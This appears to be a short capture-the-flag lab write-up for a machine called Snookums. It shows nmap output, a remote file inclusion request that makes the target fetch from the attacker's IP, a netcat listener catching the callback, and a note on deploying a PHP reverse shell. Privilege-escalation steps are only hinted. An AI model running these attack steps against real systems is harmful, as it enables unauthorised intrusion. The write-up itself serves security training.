Snookums

Enumeration

80/tcp   open  http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Simple PHP Photo Gallery

SimplePHPGal 0.8

SimplePHPGal 0.7 - Remote File Inclusion

https://www.exploit-db.com/exploits/48424

http://192.168.112.58/image.php?img=http://192.168.49.112

$ nc -nvlp 80                                   
listening on [any] 80 ...
connect to [192.168.49.112] from (UNKNOWN) [192.168.112.58] 35926
GET / HTTP/1.0
Host: 192.168.49.112

RFI on 0.8 version too.

Initial Access

https://www.revshells.com/ - PHP Ivan Sincek - 192.168.49.112 22 /bin/bash -> shell.php

Lateral Movement

There are base64 encoded passwords.

PrivEsc

There is writable system file.

Last updated